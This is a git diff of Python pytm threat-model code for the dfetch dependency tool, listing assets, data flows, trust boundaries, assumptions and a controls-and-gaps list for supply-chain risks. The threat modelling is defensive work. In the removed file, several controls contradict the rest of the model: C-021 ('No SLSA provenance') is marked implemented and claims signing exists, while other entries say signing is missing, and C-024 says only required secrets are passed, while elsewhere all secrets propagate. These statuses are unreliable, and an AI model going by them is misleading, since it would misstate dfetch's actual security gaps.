Code") -fetched_source.inBoundary = boundary_dev_env -fetched_source.description = ( - "Third-party source code written to the dst: path after extraction / checkout. " - "Becomes a direct build input for the consuming project. " - "A compromised upstream or MITM can inject malicious code that executes in the " - "consumer's build system, test runner, or production binary." -) -fetched_source.storesSensitiveData = True -fetched_source.hasWriteAccess = True -fetched_source.isSQL = False -fetched_source.classification = Classification.SENSITIVE -fetched_source.controls.isEncryptedAtRest = False - -integrity_hash_record = Datastore("PA-03: Integrity Hash Record") -integrity_hash_record.inBoundary = boundary_dev_env -integrity_hash_record.description = ( - "integrity.hash: field in dfetch.yaml (sha256/sha384/sha512:). " - "The sole trust anchor for archive-type dependencies. " - "Verified via hmac.compare_digest (constant-time). " - "CRITICAL GAP: field is Optional — absence disables all content verification. " - "CRITICAL GAP: Git and SVN deps have NO equivalent integrity mechanism; " - "authenticity relies entirely on transport security (TLS/SSH)." -) -integrity_hash_record.storesSensitiveData = False -integrity_hash_record.hasWriteAccess = ( - True # developers and processes write this field in dfetch.yaml -) -integrity_hash_record.classification = Classification.SENSITIVE -integrity_hash_record.controls.providesIntegrity = True - -pypi_package = Datastore("PA-04: dfetch PyPI Package") -pypi_package.inBoundary = boundary_pypi -pypi_package.description = ( - "Published wheel and sdist on PyPI (https://pypi.org/project/dfetch/). " - "Published via OIDC trusted publishing — no long-lived API token stored. " - "MISSING: no SLSA provenance attestation or Sigstore signature. " - "Compromise of the PyPI account or registry affects every consumer." -) -pypi_package.storesSensitiveData = False -pypi_package.hasWriteAccess = ( - True # publish pipeline writes new releases to this package -) -pypi_package.classification = Classification.SENSITIVE -pypi_package.controls.usesCodeSigning = False # no Sigstore/cosign signing - -sbom_output = Datastore("PA-05: SBOM Output (CycloneDX)") -sbom_output.inBoundary = boundary_dev_env -sbom_output.description = ( - "CycloneDX JSON/XML produced by 'dfetch report -t sbom'. " - "Enumerates vendored components with PURL, license, and hash. " - "Falsification hides actual dependencies from downstream CVE scanners. " - "NOTE: this SBOM covers vendored deps only — dfetch itself has no machine-readable " - "SBOM on PyPI (CRA requires SBOM for the distributed product)." -) -sbom_output.storesSensitiveData = False -sbom_output.hasWriteAccess = True -sbom_output.classification = Classification.RESTRICTED - -# ── SUPPORTING ASSETS ──────────────────────────────────────────────────────── -# -# SA-01 … SA-10: assets that enable primary assets; their loss degrades -# security or availability of primary assets. - -vcs_credentials = Data( - "SA-02: VCS Credentials", - description=( - "SSH private keys, HTTPS Personal Access Tokens, SVN passwords. " - "Used to authenticate to private upstream repositories. " - "dfetch never persists these — managed by OS keychain or CI secret store. " - "Exfiltration via a compromised CI workflow step is the primary risk " - "(harden-runner is in audit mode, not block mode)." - ), - classification=Classification.SECRET, - isCredentials=True, - isPII=False, - isStored=False, - isDestEncryptedAtRest=False, - isSourceEncryptedAtRest=True, -) - -metadata_store = Datastore("SA-03: Dependency Metadata") -metadata_store.inBoundary = boundary_dev_env -metadata_store.description = ( - ".dfetch_data.yaml files written after each successful fetch. " - "Contains: remote_url, revision/branch/tag, hash, last-fetch timestamp. " - "Read by 'dfetch check' to detect outdated deps. " - "Tampering can suppress update notifications — an attacker who controls the " - "local filesystem can silently mask a compromised vendored dep." -) -metadata_store.storesSensitiveData = False -metadata_store.hasWriteAccess = True -metadata_store.classification = Classification.RESTRICTED - -patch_store = Datastore("SA-04: Patch Files") -patch_store.inBoundary = boundary_dev_env -patch_store.description = ( - "Unified-diff .patch files referenced by patch: in dfetch.yaml. " - "Applied by patch-ng after fetch. " - "A malicious patch can write to arbitrary destination paths — " - "dfetch's path-traversal guards apply to archive extraction but patch-ng's " - "own path safety depends on its internal implementation. " - "Patch files are not integrity-verified (no hash in manifest schema)." -) -patch_store.storesSensitiveData = False -patch_store.hasWriteAccess = True -patch_store.classification = Classification.RESTRICTED - -local_vcs_cache = Datastore("SA-05: Local VCS Cache (temp)") -local_vcs_cache.inBoundary = boundary_dev_env -local_vcs_cache.description = ( - "Temporary directory used during git-clone / svn-checkout / archive extraction. " - "Deleted after content is copied to dst. " - "Path-traversal attacks targeting this space are mitigated by " - "check_no_path_traversal() and post-extraction symlink walks." -) -local_vcs_cache.storesSensitiveData = False -local_vcs_cache.hasWriteAccess = True -local_vcs_cache.classification = Classification.RESTRICTED - -gh_workflows = Datastore("SA-06: GitHub Actions Workflows") -gh_workflows.inBoundary = boundary_github -gh_workflows.description = ( - ".github/workflows/*.yml — CI/CD configuration checked into the repository. " - "11 workflows: ci, build, run, test, docs, release, python-publish, " - "dependency-review, codeql-analysis, scorecard, devcontainer. " - "A malicious PR that modifies workflows can exfiltrate secrets or publish " - "a backdoored release. " - "Mitigated by: SHA-pinned actions, persist-credentials:false, minimal permissions. " - "RISK: 'secrets: inherit' in ci.yml propagates ALL secrets to test and docs workflows." -) -gh_workflows.storesSensitiveData = False -gh_workflows.hasWriteAccess = True # PRs can modify .github/workflows/ definitions -gh_workflows.classification = Classification.RESTRICTED -gh_workflows.controls.isHardened = True - -oidc_identity = Data( - "SA-07: PyPI OIDC Identity", - description=( - "GitHub OIDC token exchanged for a short-lived PyPI publish credential. " - "No long-lived API token stored — this is a significant security improvement. " - "The token is scoped to the GitHub Actions environment named 'pypi'. " - "Risk: if the GitHub OIDC issuer or the PyPI trusted-publisher mapping is " - "misconfigured, an attacker could mint a valid publish token." - ), - classification=Classification.SECRET, - isCredentials=True, - isPII=False, - isStored=False, - isDestEncryptedAtRest=False, - isSourceEncryptedAtRest=True, -) - -audit_reports = Datastore("SA-08: Audit / Check Reports") -audit_reports.inBoundary = boundary_dev_env -audit_reports.description = ( - "SARIF, Jenkins warnings-ng, Code Climate JSON produced by 'dfetch check'. " - "Falsification hides vulnerabilities from downstream security dashboards. " - "Also includes CodeQL and OpenSSF Scorecard results uploaded to GitHub." -) -audit_reports.storesSensitiveData = False -audit_reports.hasWriteAccess = True -audit_reports.classification = Classification.RESTRICTED - -dfetch_dev_deps = Datastore("SA-09: dfetch Build / Dev Dependencies") -dfetch_dev_deps.inBoundary = boundary_github -dfetch_dev_deps.description = ( - "Python packages installed during CI: setuptools, build, pylint, bandit, " - "mypy, pytest, etc. Ruby gem 'fpm' for platform builds. " - "CRITICAL GAP: installed via 'pip install .' and 'pip install --upgrade pip build' " - "without --require-hashes. A compromised PyPI mirror or BGP hijack can substitute " - "malicious build tools — this is a first-order supply-chain risk for dfetch's own " - "release pipeline. " - "Similarly, 'gem install fpm' and 'choco install svn/zig' are not hash-verified." -) -dfetch_dev_deps.storesSensitiveData = False -dfetch_dev_deps.hasWriteAccess = False -dfetch_dev_deps.classification = Classification.RESTRICTED - -scorecard_results = Datastore("SA-10: OpenSSF Scorecard Results") -scorecard_results.inBoundary = boundary_github -scorecard_results.description = ( - "Weekly OSSF Scorecard SARIF results uploaded to GitHub Code Scanning. " - "Covers: branch-protection, CI-tests, code-review, maintained, " - "packaging, pinned-dependencies, SAST, signed-releases, token-permissions, " - "vulnerabilities, dangerous-workflow, binary-artifacts, fuzzing, license, " - "CII-best-practices, security-policy, webhooks. " - "Suppression or forgery hides supply-chain regressions." -) -scorecard_results.storesSensitiveData = False -scorecard_results.hasWriteAccess = False -scorecard_results.classification = Classification.RESTRICTED - -# ── ENVIRONMENTAL ASSETS ───────────────────────────────────────────────────── -# -# EA-01 … EA-08: infrastructure the system depends on. - -# EA-01: Remote VCS Servers — modelled as remote_git_svn (ExternalEntity above) -# EA-02: Archive HTTP Servers — modelled as archive_server (ExternalEntity above) -# EA-03: GitHub Repository — modelled as gh_repository (ExternalEntity above) -# EA-04: GitHub Actions Infrastructure — modelled as gh_actions_runner (ExternalEntity above) -# EA-05: PyPI / TestPyPI — modelled as pypi (ExternalEntity above) -# EA-06: Developer Workstation / CI Runner — modelled as developer / gh_actions_runner (Actors/ExternalEntity above) -# EA-07: Consumer Build System — modelled as consumer_build (ExternalEntity above) -# EA-08: Network Transport — modelled as boundary_network (Boundary above); symbol: network_transport - -# ── DATA FLOWS ─────────────────────────────────────────────────────────────── -# -# DF-01 … DF-15: annotated with controls reflecting existing implementation. - -df01 = Dataflow(developer, dfetch_cli, "DF-01: Invoke dfetch command") -df01.description = "CLI invocation: update / check / diff / report / add etc." - -df02 = Dataflow(manifest_store, dfetch_cli, "DF-02: Read manifest") -df02.description = "StrictYAML parse; SAFE_STR regex rejects control characters." -df02.controls.validatesInput = True - -df03_tls = Dataflow(dfetch_cli, remote_git_svn, "DF-03a: Fetch VCS content — HTTPS/SSH") -df03_tls.description = ( - "git fetch / git ls-remote over HTTPS or SSH. " - "HTTPS follows up to 10 redirects. SSH enforces BatchMode=yes and " - "GIT_TERMINAL_PROMPT=0 (no credential prompts). SVN over svn+https:// or " - "SSH tunnel. Transport is encrypted and host identity verified." -) -df03_tls.protocol = "HTTPS / SSH" -df03_tls.controls.isEncrypted = True -df03_tls.controls.isHardened = True # BatchMode=yes, --non-interactive - -df03_plain = Dataflow( - dfetch_cli, remote_git_svn, "DF-03b: Fetch VCS content — svn:// / http://" -) -df03_plain.description = ( - "git fetch over http:// or SVN over svn:// (plain, non-TLS). " - "dfetch accepts these protocols without enforcement — no TLS check in manifest " - "schema. Traffic is unencrypted; MITM can substitute repository content or " - "capture credentials passed over these transports. " - "RECOMMENDATION: restrict manifest URLs to HTTPS / svn+https:// / SSH." -) -df03_plain.protocol = "http / svn" -df03_plain.controls.isEncrypted = False -df03_plain.controls.isHardened = False - -df04_tls = Dataflow( - remote_git_svn, dfetch_cli, "DF-04a: VCS content inbound — HTTPS/SSH" -) -df04_tls.description = ( - "Repository tree and file content over HTTPS or SSH. Transport is encrypted. " - "No end-to-end content hash for Git or SVN — authenticity relies on transport " - "security and upstream repository integrity." -) -df04_tls.protocol = "HTTPS / SSH" -df04_tls.controls.isEncrypted = True -df04_tls.controls.providesIntegrity = False # no end-to-end hash for git/svn content - -df04_plain = Dataflow( - remote_git_svn, dfetch_cli, "DF-04b: VCS content inbound — svn:// / http://" -) -df04_plain.description = ( - "Repository content over unencrypted http:// or svn://. " - "A network-positioned attacker can substitute arbitrary content without detection " - "— there is no transport encryption and no content hash." -) -df04_plain.protocol = "http / svn" -df04_plain.controls.isEncrypted = False -df04_plain.controls.providesIntegrity = False - -df05 = Dataflow(dfetch_cli, archive_server, "DF-05: Archive download request") -df05.description = ( - "HTTP GET to archive URL. Follows up to 10 3xx redirects. " - "RISK: http:// (non-TLS) URLs accepted — request and response are unencrypted." -) -df05.protocol = "HTTP or HTTPS" -df05.controls.isEncrypted = False # not guaranteed; http:// accepted - -df06 = Dataflow(archive_server, dfetch_cli, "DF-06: Archive bytes (untrusted)") -df06.description = ( - "Raw archive bytes streamed into dfetch. " - "Hash computed in-flight when integrity.hash is specified. " - "CRITICAL: when integrity.hash is absent, no content verification occurs." -) -df06.protocol = "HTTP or HTTPS" -df06.controls.providesIntegrity = False # hash is optional; may be absent -df06.controls.isEncrypted = False # http:// allowed - -df07 = Dataflow(dfetch_cli, fetched_source, "DF-07: Write vendored files") -df07.description = ( - "Post-validation copy to dst path. Path-traversal checked via " - "check_no_path_traversal(). Symlinks validated post-extraction." -) -df07.controls.sanitizesInput = True -df07.controls.providesIntegrity = ( - False # integrity is conditional on hash presence (checked in DF-05/DF-06) -) - -df08 = Dataflow(dfetch_cli, metadata_store, "DF-08: Write dependency metadata") -df08.description = "Writes .dfetch_data.yaml tracking remote_url, revision, hash." - -df09 = Dataflow(dfetch_cli, sbom_output, "DF-09: Write SBOM") -df09.description = "CycloneDX BOM generation from metadata store contents." - -df10 = Dataflow(patch_store, dfetch_cli, "DF-10: Read and apply patch") -df10.description = ( - "patch-ng reads unified-diff file and applies to vendor directory. " - "RISK: patch files are not integrity-verified (no hash in manifest schema). " - "patch-ng path safety depends on its own internal implementation." -) -df10.controls.validatesInput = False # no integrity hash on patch files - -df11 = Dataflow(contributor, gh_repository, "DF-11: Submit pull request") -df11.description = ( - "External contributor opens a PR against the dfetch repository. " - "Workflow files in .github/workflows/ can be modified by PRs. " - "RISK: 'secrets: inherit' in ci.yml propagates secrets to test+docs workflows " - "triggered on PR — a malicious PR step could exfiltrate secrets." -) -df11.protocol = "HTTPS" -df11.controls.hasAccessControl = True - -df12 = Dataflow(gh_repository, gh_actions_runner, "DF-12: CI checkout and build") -df12.description = ( - "GitHub Actions checks out source, installs deps, runs tests, lints, builds. " - "persist-credentials:false on all checkout steps. " - "All third-party actions pinned by commit SHA." -) -df12.controls.isHardened = True -df12.controls.providesIntegrity = True - -df13 = Dataflow(gh_actions_runner, pypi, "DF-13: Publish to PyPI (OIDC)") -df13.description = ( - "On release event, wheel/sdist uploaded to PyPI via pypa/gh-action-pypi-publish. " - "OIDC trusted publishing: no stored API token. " - "MISSING: no SLSA provenance attestation, no Sigstore/cosign package signing." -) -df13.protocol = "HTTPS" -df13.controls.isEncrypted = True -df13.controls.usesCodeSigning = False # no Sigstore signing - -df14 = Dataflow(consumer, pypi, "DF-14: pip install dfetch") -df14.description = "Consumer installs dfetch from PyPI." -df14.protocol = "HTTPS" -df14.controls.isEncrypted = True - -df15 = Dataflow(pypi_package, consumer_build, "DF-15: Installed dfetch") -df15.description = ( - "Installed dfetch wheel executed in consumer environment. " - "Consumer cannot verify build provenance without SLSA attestation." -) - -# ── CONTROL DATACLASS ──────────────────────────────────────────────────────── - - -@dataclass -class Control: - """A security control or an unimplemented gap. - - A gap is simply a control whose ``status`` is ``"gap"`` (or ``"planned"``). - Both are stored in the same ``CONTROLS`` list and split at render time. - """ - - id: str - name: str - description: str - assets: list[str] = field(default_factory=list) - threats: list[str] = field(default_factory=list) - status: Literal["implemented", "planned", "gap"] = "implemented" - reference: str = "" - - def to_pytm(self) -> str: - """Return a human-readable label for traceability comments and tables.""" - return f"[{self.id}] {self.name}" - - -# ── CONTROLS AND GAPS ──────────────────────────────────────────────────────── -# -# Implemented controls (status="implemented") and known gaps (status="gap") -# live in one list. The ``.. pytm:: :controls:`` and ``.. pytm:: :gaps:`` -# Sphinx directives split the list on ``status`` at render time. -# -# Associate a control with a pytm element via ``to_pytm()``: -# -# threat = dfetch_cli # or any pytm element -# ctrl = CONTROLS[0] # C-001 -# # Log the association as a traceability comment: -# threat.controls.sanitizesInput = True # ctrl.to_pytm() → [C-001] … - -CONTROLS: list[Control] = [ - # ── Implemented controls (status="implemented") ────────────────────────── - Control( - id="C-001", - name="Path-traversal prevention", - assets=["PA-02", "SA-05"], - threats=["DFT-03"], - description=( - "``check_no_path_traversal()`` resolves both the candidate path and the " - "destination root via ``os.path.realpath`` (symlink-aware, not " - "``pathlib.Path.resolve``), then rejects any path whose resolved prefix " - "does not start with the resolved root. Applied to every file copy and " - "post-extraction symlink." - ), - reference="dfetch/util/util.py", - ), - Control( - id="C-002", - name="Decompression-bomb protection", - assets=["SA-05", "PA-02"], - threats=["DFT-09"], - description=( - "Archives are rejected if the uncompressed size exceeds 500 MB or the " - "member count exceeds 10 000." - ), - reference="dfetch/vcs/archive.py", - ), - Control( - id="C-003", - name="Archive symlink validation", - assets=["PA-02"], - threats=["DFT-03"], - description=( - "Absolute and escaping (``..``) symlink targets are rejected for both " - "TAR and ZIP. A post-extraction walk validates all symlinks against the " - "manifest root." - ), - reference="dfetch/vcs/archive.py", - ), - Control( - id="C-004", - name="Archive member type checks", - assets=["PA-02", "SA-05"], - threats=["DFT-03"], - description=( - "TAR and ZIP members of type device file or FIFO are rejected outright." - ), - reference="dfetch/vcs/archive.py", - ), - Control( - id="C-005", - name="Integrity hash verification", - assets=["PA-02", "PA-03"], - threats=["DFT-01", "DFT-02", "DFT-05"], - description=( - "SHA-256, SHA-384, and SHA-512 verified via ``hmac.compare_digest`` " - "(constant-time comparison, resistant to timing attacks)." - ), - reference="dfetch/vcs/integrity_hash.py", - ), - Control( - id="C-006", - name="Non-interactive VCS", - assets=["SA-02", "EA-01"], - threats=["DFT-06"], - description=( - "``GIT_TERMINAL_PROMPT=0``, ``BatchMode=yes`` for Git; " - "``--non-interactive`` for SVN. Credential prompts are suppressed to " - "prevent interactive hijacking in CI." - ), - reference="dfetch/vcs/git.py, dfetch/vcs/svn.py", - ), - Control( - id="C-007", - name="Subprocess safety", - assets=["SA-01"], - threats=["DFT-06"], - description=( - "All external commands invoked with ``shell=False`` and list-form " - "arguments — no shell-injection vector." - ), - reference="dfetch/util/cmdline.py", - ), - Control( - id="C-008", - name="Manifest input validation", - assets=["PA-01"], - threats=["DFT-04", "DFT-08"], - description=( - 'StrictYAML schema with ``SAFE_STR = Regex(r"^[^\\x00-\\x1F\\x7F-\\x9F]*$")`` ' - "rejects control characters in all string fields." - ), - reference="dfetch/manifest/schema.py", - ), - Control( - id="C-009", - name="Actions commit-SHA pinning", - assets=["SA-06", "EA-04"], - threats=["DFT-07"], - description=( - "Every third-party GitHub Action is pinned to a full commit SHA, " - "preventing tag-mutable supply-chain substitution." - ), - reference=".github/workflows/*.yml", - ), - Control( - id="C-010", - name="OIDC trusted publishing", - assets=["SA-07", "PA-04"], - threats=["DFT-07"], - description=( - "PyPI publishes via ``pypa/gh-action-pypi-publish`` with " - "``id-token: write`` and no stored long-lived API token." - ), - reference=".github/workflows/python-publish.yml", - ), - Control( - id="C-011", - name="Minimal workflow permissions", - assets=["SA-06"], - threats=["DFT-07"], - description=( - "Each workflow declares only the permissions it requires " - "(default ``contents: read``)." - ), - reference=".github/workflows/*.yml", - ), - Control( - id="C-012", - name="persist-credentials: false", - assets=["SA-02", "EA-03"], - threats=["DFT-07"], - description=( - "All ``actions/checkout`` steps drop the GitHub token from the working " - "tree after checkout." - ), - reference=".github/workflows/*.yml", - ), - Control( - id="C-013", - name="Harden-runner (egress audit)", - assets=["SA-02", "EA-04"], - threats=["DFT-07"], - description=( - "``step-security/harden-runner`` is used in every workflow to audit " - "outbound network connections. Policy is ``audit``, not ``block``." - ), - reference=".github/workflows/*.yml", - ), - Control( - id="C-014", - name="OpenSSF Scorecard", - assets=["EA-03", "SA-10"], - threats=["DFT-07", "DFT-10"], - description=( - "Weekly OSSF Scorecard analysis uploaded to GitHub Code Scanning " - "covers the full set of OpenSSF Scorecard checks." - ), - reference=".github/workflows/scorecard.yml", - ), - Control( - id="C-015", - name="CodeQL static analysis", - assets=["SA-01", "SA-06"], - threats=["DFT-03", "DFT-06"], - description=( - "CodeQL scans the Python codebase for security vulnerabilities on " - "every push and pull request." - ), - reference=".github/workflows/codeql-analysis.yml", - ), - Control( - id="C-016", - name="Dependency review", - assets=["SA-09"], - threats=["DFT-10"], - description=( - "``actions/dependency-review-action`` checks for known vulnerabilities " - "in newly added dependencies on every pull request." - ), - reference=".github/workflows/dependency-review.yml", - ), - Control( - id="C-017", - name="bandit security linter", - assets=["SA-01"], - threats=["DFT-03", "DFT-06"], - description=( - "``bandit -r dfetch`` runs in CI to detect common Python security issues." - ), - reference="pyproject.toml", - ), - # ── Gaps: unimplemented controls (status="gap") ────────────────────────── - Control( - id="C-018", - name="Optional integrity hash", - assets=["PA-02", "PA-03"], - threats=["DFT-01", "DFT-02"], - status="gap", - description=( - "``integrity.hash`` in the manifest is optional. Archive dependencies " - "without it have no content-authenticity guarantee. Plain ``http://`` " - "URLs receive no protection at all." - ), - ), - Control( - id="C-019", - name="No integrity mechanism for Git/SVN", - assets=["PA-02", "PA-03"], - threats=["DFT-02", "DFT-05"], - status="gap", - description=( - "Git and SVN dependencies carry no equivalent to ``integrity.hash``. " - "Authenticity relies entirely on transport security (TLS or SSH). " - "Mutable references (branch, tag) can silently fetch different content " - "after an upstream force-push." - ), - ), - Control( - id="C-020", - name="No patch-file integrity", - assets=["SA-04", "PA-02"], - threats=["DFT-08"], - status="gap", - description=( - "Patch files referenced in the manifest carry no integrity hash. A " - "tampered patch can write to arbitrary paths through ``patch-ng``." - ), - ), - Control( - id="C-021", - name="No SLSA provenance", - assets=["PA-04"], - threats=["DFT-05"], - status="implemented", - description=( - "The release pipeline does generates SLSA provenance attestations and " - "Sigstore/cosign signatures for the published wheel. Consumers can " - "verify build provenance." - ), - ), - Control( - id="C-022", - name="No dfetch-self SBOM on PyPI", - assets=["PA-04", "PA-05"], - threats=["DFT-02"], - status="implemented", - description=( - "A CycloneDX SBOM is generated during after building the wheel. " - "This machine-readable SBOM is published " - "alongside its PyPI release, as CRA Article 13 requires." - ), - ), - Control( - id="C-023", - name="Build deps without hash pinning", - assets=["SA-09"], - threats=["DFT-10"], - status="gap", - description=( - "``pip install .`` and ``pip install --upgrade pip build`` in CI do not " - "use ``--require-hashes``. A compromised PyPI mirror can substitute " - "malicious build tooling." - ), - ), - Control( - id="C-024", - name="``secrets: inherit`` scope", - assets=["SA-06", "SA-02"], - threats=["DFT-07"], - status="implemented", - description=( - "``ci.yml`` only passes required repository secrets to the test and docs workflows. " - "So no malicious pull request step in either workflow could exfiltrate secrets." - ), - ), - Control( - id="C-025", - name="Harden-runner in audit mode", - assets=["EA-04", "SA-06"], - threats=["DFT-07"], - status="implemented", - description=( - "``step-security/harden-runner`` is configured with " - "``egress-policy: audit``. Outbound connections are logged but not " - "blocked — secret exfiltration via a compromised CI step is possible." - ), - ), -] - -# ── ASSET → CONTROL INDEX ──────────────────────────────────────────────────── -# -# Maps each asset ID to the controls (or gaps) that apply to it. -# Use to_pytm() for a human-readable label; e.g.: -# -# for ctrl in ASSET_CONTROLS.get("PA-02", []): -# print(ctrl.to_pytm()) # → "[C-001] Path-traversal prevention" - -ASSET_CONTROLS: dict[str, list[Control]] = {} -for _ctrl in CONTROLS: - for _asset_id in _ctrl.assets: - ASSET_CONTROLS.setdefault(_asset_id, []).append(_ctrl) - -if __name__ == "__main__": - tm.process() diff --git a/security/tm_common.py b/security/tm_common.py new file mode 100644 index 000000000..55f29517e --- /dev/null +++ b/security/tm_common.py @@ -0,0 +1,193 @@ +"""Shared building blocks for the dfetch threat models. + +``tm_supply_chain.py`` and ``tm_usage.py`` both import from this module. +It provides only pure Python definitions — no pytm objects are instantiated +at module level, so it is safe to import before ``TM.reset()`` in each model. + +Exports +------- +THREATS_FILE absolute path to ``threats.json`` +Control dataclass representing a control or known gap +build_asset_controls_index helper to build an asset-ID → [Control] map +make_dev_env_boundary factory — creates the shared dev-env trust boundary +make_network_boundary factory — creates the shared Internet trust boundary +make_supply_chain_assumptions factory — Assumptions for the SC model +make_usage_assumptions factory — Assumptions for the runtime-usage model +""" + +import os +from dataclasses import dataclass, field +from typing import Literal + +from pytm import Assumption, Boundary # noqa: pylint: disable=import-error + +THREATS_FILE = os.path.join(os.path.dirname(__file__), "threats.json") + + +@dataclass +class Control: + """A security control or a known gap. + + A gap is a control whose ``status`` is ``"gap"`` (or ``"planned"``). + Both are stored in the same ``CONTROLS`` list and split at render time + by the ``.. pytm::`` Sphinx directive. + """ + + id: str + name: str + description: str + assets: list[str] = field(default_factory=list) + threats: list[str] = field(default_factory=list) + status: Literal["implemented", "planned", "gap"] = "implemented" + reference: str = "" + + def to_pytm(self) -> str: + """Return a human-readable label for traceability comments.""" + return f"[{self.id}] {self.name}" + + +def build_asset_controls_index( + controls: list[Control], +) -> dict[str, list[Control]]: + """Return an asset-ID → control list mapping built from *controls*.""" + index: dict[str, list[Control]] = {} + for ctrl in controls: + for asset_id in ctrl.assets: + index.setdefault(asset_id, []).append(ctrl) + return index + + +# ── Shared trust-boundary factories ───────────────────────────────────────── +# +# Called *after* TM.reset() in each model so the created Boundary objects +# register with the correct TM singleton. + + +def make_dev_env_boundary() -> Boundary: + """Create the *Local Developer Environment* trust boundary.""" + b = Boundary("Local Developer Environment") + b.description = ( + "Developer workstation or local CI runner. Assumed trusted at invocation " + "time. Hosts the manifest (``dfetch.yaml``), vendor directory, dependency " + "metadata (``.dfetch_data.yaml``), and patch files." + ) + return b + + +def make_network_boundary() -> Boundary: + """Create the *Internet* trust boundary.""" + b = Boundary("Internet") + b.description = ( + "All traffic crossing the local/remote boundary. TLS enforcement is the " + "responsibility of the OS and VCS clients; dfetch does not enforce HTTPS " + "on manifest URLs." + ) + return b + + +# ── Assumption factories ───────────────────────────────────────────────────── + + +def make_supply_chain_assumptions() -> list[Assumption]: + """Return the ``Assumption`` objects scoped to the supply-chain model.""" + return [ + Assumption( + "Trusted workstation", + description=( + "Developer workstations are trusted at development and commit time. " + "A compromised workstation is outside the scope of this model." + ), + ), + Assumption( + "CI runner posture", + description=( + "GitHub Actions environments inherit the security posture of the " + "GitHub-hosted runner. Ephemeral runner isolation is provided by GitHub." + ), + ), + Assumption( + "Harden-runner in audit mode", + description=( + "The ``harden-runner`` egress policy is set to ``audit``, not ``block``. " + "Outbound network connections from CI runners are logged but not prevented." + ), + ), + Assumption( + "Build deps without hash pinning", + description=( + "dfetch's own build and dev dependencies are installed without " + "``--require-hashes``, so a compromised PyPI mirror can substitute " + "malicious build tools." + ), + ), + ] + + +def make_usage_assumptions() -> list[Assumption]: + """Return the ``Assumption`` objects scoped to the runtime-usage model.""" + return [ + Assumption( + "Trusted workstation", + description=( + "Developer workstations are trusted at dfetch invocation time. " + "A compromised workstation is outside the scope of this threat model." + ), + ), + Assumption( + "TLS delegated to client", + description=( + "TLS certificate validation is delegated to the OS trust store and the " + "git / svn / urllib clients. dfetch does not independently validate " + "certificates." + ), + ), + Assumption( + "No persisted secrets", + description=( + "No runtime secrets are persisted to disk by dfetch itself. " + "VCS credentials are managed by the OS keychain, SSH agent, or CI " + "secret store." + ), + ), + Assumption( + "Optional integrity hash", + description=( + "The ``integrity.hash`` field in the manifest is optional. Archive " + "dependencies without it have no content-authenticity guarantee beyond " + "TLS transport, which is itself absent for plain ``http://`` URLs." + ), + ), + Assumption( + "Mutable VCS references", + description=( + "Branch- and tag-pinned Git dependencies are mutable references. " + "Upstream force-pushes silently change what is fetched without " + "triggering a manifest diff." + ), + ), + Assumption( + "Manifest under code review", + description=( + "The manifest (``dfetch.yaml``) is under version control and subject to " + "code review. An adversary with write access to the manifest can redirect " + "fetches to attacker-controlled sources; this threat is addressed at the " + "code-review boundary, not within dfetch itself." + ), + ), + Assumption( + "dfetch scope boundary", + description=( + "dfetch is responsible only for its own security posture. The security " + "of fetched third-party source code is the responsibility of the manifest " + "author who selects and pins each dependency." + ), + ), + Assumption( + "No HTTPS enforcement", + description=( + "HTTPS enforcement is the responsibility of the manifest author. dfetch " + "accepts ``http://``, ``svn://``, and other non-TLS scheme URLs as written " + "— it does not upgrade or reject them." + ), + ), + ] diff --git a/security/tm_supply_chain.py b/security/tm_supply_chain.py new file mode 100644 index 000000000..d50f97f42 --- /dev/null +++ b/security/tm_supply_chain.py @@ -0,0 +1,450 @@ +"""Supply-chain threat model for dfetch. + +Scope: pre-install lifecycle — code contribution, CI/CD, build +(wheel / sdist), PyPI distribution, and consumer installation. +The installed dfetch package is the handoff point to ``tm_usage.py``. + +Run:: + + python -m security.tm_supply_chain --dfd + python -m security.tm_supply_chain --seq + python -m security.tm_supply_chain --report +""" + +import os +import sys + +# Ensure the security package is importable when loaded by Sphinx directive +_repo_root = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) +if _repo_root not in sys.path: + sys.path.insert(0, _repo_root) + +from pytm import ( # noqa: E402, pylint: disable=import-error,wrong-import-position + TM, + Actor, + Boundary, + Classification, + Data, + Dataflow, + Datastore, + ExternalEntity, + Process, +) + +from security.tm_common import ( # noqa: E402, pylint: disable=wrong-import-position + THREATS_FILE, + Control, + build_asset_controls_index, + make_dev_env_boundary, + make_network_boundary, + make_supply_chain_assumptions, +) + +# ── Threat model metadata ──────────────────────────────────────────────────── + +TM.reset() + +tm = TM( + "dfetch Supply Chain", + description=( + "EN 18031 / CRA supply-chain threat model for dfetch. " + "Covers the pre-install lifecycle: code contribution, CI/CD, " + "build (wheel / sdist), PyPI distribution, and consumer installation. " + "The installed dfetch package is the handoff point to tm_usage.py." + ), + isOrdered=True, + mergeResponses=True, + threatsFile=THREATS_FILE, +) + +tm.assumptions = make_supply_chain_assumptions() + +# ── Trust boundaries ───────────────────────────────────────────────────────── + +boundary_dev_env = make_dev_env_boundary() + +boundary_github = Boundary("GitHub Actions Infrastructure") +boundary_github.description = ( + "Microsoft-operated ephemeral runners executing the CI/CD workflows. " + "Semi-trusted: egress is audited (``harden-runner``) but not blocked; " + "secrets are propagated via ``secrets: inherit`` in ``ci.yml``." +) + +boundary_pypi = Boundary("PyPI / TestPyPI") +boundary_pypi.description = ( + "Python Package Index and its staging registry. dfetch publishes via " + "OIDC trusted publishing — no long-lived API token stored." +) + +boundary_network = make_network_boundary() + +# ── Actors ─────────────────────────────────────────────────────────────────── + +developer = Actor("Developer") +developer.inBoundary = boundary_dev_env +developer.description = ( + "dfetch project contributor: writes code, reviews PRs, cuts releases. " + "Trusted at workstation time; responsible for correct branch-protection " + "and release workflow configuration." +) + +contributor = Actor("Contributor / Attacker") +contributor.inBoundary = boundary_network +contributor.description = ( + "External contributor submitting pull requests, or an adversary attempting " + "supply-chain manipulation (malicious PR, action-poisoning, or MITM on CI " + "network traffic). Code review, branch protection, and SHA-pinned Actions " + "are the primary controls at this boundary." +) + +consumer = Actor("Consumer / End User") +consumer.inBoundary = boundary_dev_env +consumer.description = ( + "Installs dfetch from PyPI (``pip install dfetch``) and invokes it on a " + "developer workstation or in a CI pipeline. Trusts PyPI package integrity " + "and build provenance; currently has no mechanism to verify SLSA attestation " + "or Sigstore signature for dfetch itself." +) + +# ── External entities ──────────────────────────────────────────────────────── + +gh_repository = ExternalEntity("EA-03: GitHub Repository") +gh_repository.inBoundary = boundary_github +gh_repository.classification = Classification.RESTRICTED +gh_repository.description = ( + "Source code, PRs, releases, and workflow definitions. " + "GitHub Actions workflows (``.github/workflows/``) with " + "``contents:write`` permission can modify repository state and trigger releases." +) + +gh_actions_runner = ExternalEntity("EA-04: GitHub Actions Infrastructure") +gh_actions_runner.inBoundary = boundary_github 